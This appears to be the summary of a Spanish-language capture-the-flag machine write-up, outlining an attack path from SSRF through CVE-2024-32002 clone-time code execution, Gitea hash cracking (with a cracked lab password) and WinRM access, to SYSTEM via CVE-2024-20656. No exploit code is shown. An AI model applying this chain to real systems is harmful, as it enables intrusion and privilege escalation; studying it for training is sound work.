   └── SSRF: apuntar la URL a nuestra IP ── fuga de versión git 2.45.0.windows.1
        └── CVE-2024-32002 (submódulo + symlink en Gitea 3000)
             └── git hook post-checkout al clonar ── RCE como richard
                  └── gitea.db (PBKDF2) → hashcat crackea emily:12345678
                       └── WinRM como emily  (user.txt)
                            └── VSStandardCollectorService150 (SYSTEM) + CVE-2024-20656
                                 └── RunasCs (logon interactivo) lanza Expl.exe ── SYSTEM  (root.txt)

Lecciones aprendidas

  • Un servicio que clona lo que le das es SSRF antes que RCE. Apuntar la URL a nuestra máquina y leer las cabeceras con nc filtró la versión exacta de git, y esa versión dio el CVE.
  • nc enseña más que un servidor HTTP. El User-Agent con la versión del cliente viaja en las cabeceras crudas; un python -m http.server recibe la conexión pero no las muestra igual de claras.
  • CVE-2024-32002 convierte un clone en RCE. El truco de submódulo + symlink escribe un hook en .git/hooks/ que se ejecuta durante el propio clone, sin interacción de la víctima.
  • Las bases de datos de aplicaciones son un botín. La gitea.db accesible por richard contenía los hashes de todos los usuarios; crackear el de emily abrió el WinRM.
  • Las pistas del enunciado cuentan. "Actualiza Visual Studio" señalaba el vector de root: un servicio de VS corriendo como SYSTEM y vulnerable a CVE-2024-20656.
  • El tipo de logon importa. El token de red de WinRM no bastaba para el exploit; RunasCs con un logon interactivo le dio el contexto necesario.
Cheatsheet de comandos 18 comandos

Repaso rápido